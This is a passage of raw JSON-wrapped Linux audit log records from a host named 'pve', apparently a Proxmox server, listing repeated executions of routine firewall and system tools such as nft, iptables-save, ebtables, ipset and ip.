type=PATH msg=audit(1781965317.553:65099): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315942,"@rawstring":"node=pve type=PATH msg=audit(1781965315.942:65098): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315942,"@rawstring":"node=pve type=PATH msg=audit(1781965315.942:65098): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315938,"@rawstring":"node=pve type=PATH msg=audit(1781965315.938:65097): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315938,"@rawstring":"node=pve type=PATH msg=audit(1781965315.938:65097): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315936,"@rawstring":"node=pve type=PATH msg=audit(1781965315.936:65096): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315936,"@rawstring":"node=pve type=PATH msg=audit(1781965315.936:65096): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315936,"@rawstring":"node=pve type=PATH msg=audit(1781965315.936:65095): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315932,"@rawstring":"node=pve type=PATH msg=audit(1781965315.932:65094): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315932,"@rawstring":"node=pve type=PATH msg=audit(1781965315.932:65094): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315932,"@rawstring":"node=pve type=PATH msg=audit(1781965315.932:65094): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315924,"@rawstring":"node=pve type=PATH msg=audit(1781965315.924:65093): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315924,"@rawstring":"node=pve type=PATH msg=audit(1781965315.924:65093): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315918,"@rawstring":"node=pve type=PATH msg=audit(1781965315.918:65092): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315918,"@rawstring":"node=pve type=PATH msg=audit(1781965315.918:65092): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315911,"@rawstring":"node=pve type=PATH msg=audit(1781965315.911:65091): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315911,"@rawstring":"node=pve type=PATH msg=audit(1781965315.911:65091): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315903,"@rawstring":"node=pve type=PATH msg=audit(1781965315.903:65090): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315903,"@rawstring":"node=pve type=PATH msg=audit(1781965315.903:65090): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315895,"@rawstring":"node=pve type=PATH msg=audit(1781965315.895:65088): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315895,"@rawstring":"node=pve type=PATH msg=audit(1781965315.895:65088): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315888,"@rawstring":"node=pve type=PATH msg=audit(1781965315.888:65087): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315888,"@rawstring":"node=pve type=PATH msg=audit(1781965315.888:65087): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315883,"@rawstring":"node=pve type=PATH msg=audit(1781965315.883:65086): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315883,"@rawstring":"node=pve type=PATH msg=audit(1781965315.883:65086): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315877,"@rawstring":"node=pve type=PATH msg=audit(1781965315.877:65085): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315877,"@rawstring":"node=pve type=PATH msg=audit(1781965315.877:65085): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315871,"@rawstring":"node=pve type=PATH msg=audit(1781965315.871:65084): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315871,"@rawstring":"node=pve type=PATH msg=audit(1781965315.871:65084): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315865,"@rawstring":"node=pve type=PATH msg=audit(1781965315.865:65083): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315865,"@rawstring":"node=pve type=PATH msg=audit(1781965315.865:65083): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315858,"@rawstring":"node=pve type=PATH msg=audit(1781965315.858:65082): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315858,"@rawstring":"node=pve type=PATH msg=audit(1781965315.858:65082): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315852,"@rawstring":"node=pve type=PATH msg=audit(1781965315.852:65081): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315852,"@rawstring":"node=pve type=PATH msg=audit(1781965315.852:65081): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315847,"@rawstring":"node=pve type=PATH msg=audit(1781965315.847:65080): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315847,"@rawstring":"node=pve type=PATH msg=audit(1781965315.847:65080): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315840,"@rawstring":"node=pve type=PATH msg=audit(1781965315.840:65079): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315840,"@rawstring":"node=pve type=PATH msg=audit(1781965315.840:65079): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315839,"@rawstring":"node=pve type=PATH msg=audit(1781965315.839:65078): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315839,"@rawstring":"node=pve type=PATH msg=audit(1781965315.839:65078): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315839,"@rawstring":"node=pve type=PATH msg=audit(1781965315.839:65077): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315831,"@rawstring":"node=pve type=PATH msg=audit(1781965315.831:65076): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315831,"@rawstring":"node=pve type=PATH msg=audit(1781965315.831:65076): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315831,"@rawstring":"node=pve type=PATH msg=audit(1781965315.831:65076): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315823,"@rawstring":"node=pve type=PATH msg=audit(1781965315.823:65075): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315823,"@rawstring":"node=pve type=PATH msg=audit(1781965315.823:65075): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315816,"@rawstring":"node=pve type=PATH msg=audit(1781965315.816:65074): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315816,"@rawstring":"node=pve type=PATH msg=audit(1781965315.816:65074): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315811,"@rawstring":"node=pve type=PATH msg=audit(1781965315.811:65073): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315811,"@rawstring":"node=pve type=PATH msg=audit(1781965315.811:65073): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315802,"@rawstring":"node=pve type=PATH msg=audit(1781965315.802:65072): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315802,"@rawstring":"node=pve type=PATH msg=audit(1781965315.802:65072): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315795,"@rawstring":"node=pve type=PATH msg=audit(1781965315.795:65071): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315795,"@rawstring":"node=pve type=PATH msg=audit(1781965315.795:65071): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965314943,"@rawstring":"node=pve type=PATH msg=audit(1781965314.943:65070): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965314943,"@rawstring":"node=pve type=PATH msg=audit(1781965314.943:65070): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965314916,"@rawstring":"node=pve type=PATH msg=audit(1781965314.916:65069): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965314916,"@rawstring":"node=pve type=PATH msg=audit(1781965314.916:65069): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965312545,"@rawstring":"node=pve type=PATH msg=audit(1781965312.545:65068): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965312545,"@rawstring":"node=pve type=PATH msg=audit(1781965312.545:65068): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965312545,"@rawstring":"node=pve type=PATH msg=audit(1781965312.545:65067): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965312545,"@rawstring":"node=pve type=PATH msg=audit(1781965312.545:65066): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965312534,"@rawstring":"node=pve type=PATH msg=audit(1781965312.534:65065): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965312534,"@rawstring":"node=pve type=PATH msg=audit(1781965312.534:65065): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965312534,"@rawstring":"node=pve type=PATH msg=audit(1781965312.534:65064): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965312534,"@rawstring":"node=pve type=PATH msg=audit(1781965312.534:65063): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965307522,"@rawstring":"node=pve type=PATH msg=audit(1781965307.522:65062): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965307522,"@rawstring":"node=pve type=PATH msg=audit(1781965307.522:65062): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965307522,"@rawstring":"node=pve type=PATH msg=audit(1781965307.522:65061): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965307522,"@rawstring":"node=pve type=PATH msg=audit(1781965307.522:65060): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965307510,"@rawstring":"node=pve type=PATH msg=audit(1781965307.510:65059): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965307510,"@rawstring":"node=pve type=PATH msg=audit(1781965307.510:65059): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965307510,"@rawstring":"node=pve type=PATH msg=audit(1781965307.510:65058): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965307510,"@rawstring":"node=pve type=PATH msg=audit(1781965307.510:65057): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305783,"@rawstring":"node=pve type=PATH msg=audit(1781965305.783:65056): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305783,"@rawstring":"node=pve type=PATH msg=audit(1781965305.783:65056): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305780,"@rawstring":"node=pve type=PATH msg=audit(1781965305.780:65055): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305780,"@rawstring":"node=pve type=PATH msg=audit(1781965305.780:65055): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305780,"@rawstring":"node=pve type=PATH msg=audit(1781965305.780:65054): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305780,"@rawstring":"node=pve type=PATH msg=audit(1781965305.780:65054): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305780,"@rawstring":"node=pve type=PATH msg=audit(1781965305.780:65053): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305775,"@rawstring":"node=pve type=PATH msg=audit(1781965305.775:65052): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305775,"@rawstring":"node=pve type=PATH msg=audit(1781965305.775:65052): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305775,"@rawstring":"node=pve type=PATH msg=audit(1781965305.775:65052): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305767,"@rawstring":"node=pve type=PATH msg=audit(1781965305.767:65051): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305767,"@rawstring":"node=pve type=PATH msg=audit(1781965305.767:65051): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305760,"@rawstring":"node=pve type=PATH msg=audit(1781965305.760:65050): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305760,"@rawstring":"node=pve type=PATH msg=audit(1781965305.760:65050): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305752,"@rawstring":"node=pve type=PATH msg=audit(1781965305.752:65049): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305752,"@rawstring":"node=pve type=PATH msg=audit(1781965305.752:65049): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305744,"@rawstring":"node=pve type=PATH msg=audit(1781965305.744:65048): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305744,"@rawstring":"node=pve type=PATH msg=audit(1781965305.744:65048): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305738,"@rawstring":"node=pve type=PATH msg=audit(1781965305.738:65046): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305738,"@rawstring":"node=pve type=PATH msg=audit(1781965305.738:65046): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305734,"@rawstring":"node=pve type=PATH 